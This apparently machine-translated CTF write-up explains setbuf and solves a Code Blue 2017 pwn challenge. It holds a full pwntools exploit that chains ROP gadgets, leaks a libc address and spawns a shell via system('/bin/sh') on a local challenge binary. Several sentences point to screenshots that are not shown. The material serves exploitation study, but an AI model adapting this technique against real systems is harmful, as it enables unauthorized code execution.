Utilization of CTF PWN setbuf

Keywords: Python

Before setbuf, let's just say that stdin stdout stderr is a file stream in the stdio Library

Actually, you can tell what this is by name.

stdin is the standard input and the file identifier is 0

stdout is the standard output, and the file identifier is 1

stderr is the standard error output, and the file identifier is 2

It can be simply understood that stdin is an input stream, waiting for keyboard input, stdout is an output stream, and the default device for stdout and stderr is the screen.

Then I know about setbuf. Let's take a look at setbuf. Here we use a setbuf demo from Baidu Encyclopedia.

#include <stdio.h>
char outbuf[BUFSIZ];//It must be BUFSIZ, otherwise there may be buffer overflow
int main(void)
{
/* Connect outbuf to stdout output stream */
setbuf(stdout,outbuf);
/* Put some strings into stdout */
puts("This is a test of buffered output.");//Reflect the line buffer property of stdout
fprintf(stdout,"hello world.");
puts("[*] outbuf");
/*Refresh stream*/
fflush(stdout);
/* Here's what's in outbuf */
//puts("[*] outbuf");
puts(outbuf);
return 0;
}

 

Then at first I want to add a hint, even the line of [*], and then I find the following output before and after refreshing the stream

 

Find a feature. Put all our output into outbuf and

If the stream is refreshed and output is overwritten, the previous output is not recorded.

The same can be applied to other file identifiers

You can see that setbuf corresponds to the file stream and our buffer.

In fact, there is always this thing in the pwn question.

Then I found one. Know about Chuangyu 404 Laboratory. An article

Then record how to do such a topic.

The title seems to be a question on code blue 2017 ctf abroad

Then look at the protection of the title first.

Then take a look at it.

Notice the setbuf at this point,

Then look at the topic in detail.

 

And then there's a loophole here.

Here v3 is int, so we can run other functions through this vulnerability point. Here we use it to run setbuf functions.

Then we'll look at something else.

Here is a function with two parameters, one is the buf address and the other is the length.

Then the main function is

fread: Well, this allows input to bss, where you can construct two ROPS directly for use.

The idea is to make use of it.

First use the above vulnerability, then call setbuf(fd,buf1)

Then we can write buf1 directly through this function with fwrite(fd, 1u, buf, len), because the data here is on the stack.

So you can overflow the stack directly. Then the stack transfers a shuttle.

 

#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

# context.log_level = "debug"

gadget1 = 0x08048dab   # pop ebp ; ret
gadget2 = 0x080485f8   # leave ; ret
gadget3 = 0x08048495   # pop ebx ; ret
gadget4 = 0x08048daa   # pop edi ; pop ebp ; ret
gadget5 = 0x08048da9   # pop esi ; pop edi ; pop ebp ; ret
one_gadget_sh = 0x56ff5
read_buf = 0x080486D9
stdin_bss = 0x804B060
bss_buf = 0x804b700

io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc


def add(contents):
	io.readuntil("> ")
	io.sendline("1")
	io.readuntil("contents: ")
	io.sendline(contents)

def edit(index, offset):
	io.readuntil("> ")
	io.sendline("3")
	io.readuntil("ID (0-4): ")
	io.sendline(str(index))
	io.readuntil("> ")
	io.sendline(str(offset))

def quit():
	io.readuntil("> ")
	io.sendline("4")

if __name__ =="__main__":
	rop1 = 'a'*0xd
	rop1 += p32(elf.plt['printf'])+p32(gadget3)+p32(elf.got['printf'])
	rop1 += p32(read_buf) + p32(gadget4) + p32(bss_buf) + p32(0x100) # fread(buf, 1, 0x100, stdin)
	rop1 += p32(gadget1) + p32(bss_buf) + p32(gadget2) + p32(bss_buf)

	add(rop1)
	add('a'*255)
	add('b'*255)
	add('c'*255)
	add('d'*255)

	edit(4,-15)
	edit(1,0)
	edit(0,0)

	#gdb.attach(io)
	#pause()
	quit()

	io.readuntil(":)\n")
	printf_got = u32(io.read(4))
	log.success("printf_got "+hex(printf_got))
	# print hex(printf_got)
	system_libc = libc.symbols["system"]
	printf_libc = libc.symbols["printf"]
	binsh_libc = libc.search("/bin/sh").next()
	system_add = printf_got - printf_libc + system_libc
	binsh_add =  printf_got - printf_libc + binsh_libc
	rop2 = "aaaa" + p32(system_add) + p32(binsh_add) + p32(binsh_add)
	io.sendline(rop2)
	io.interactive()

 

 

Reference link

https://paper.seebug.org/450/

https://baike.baidu.com/item/setbuf/7318790?fr=aladdin

Posted by skeppens on Fri, 09 Aug 2019 02:26:38 -0700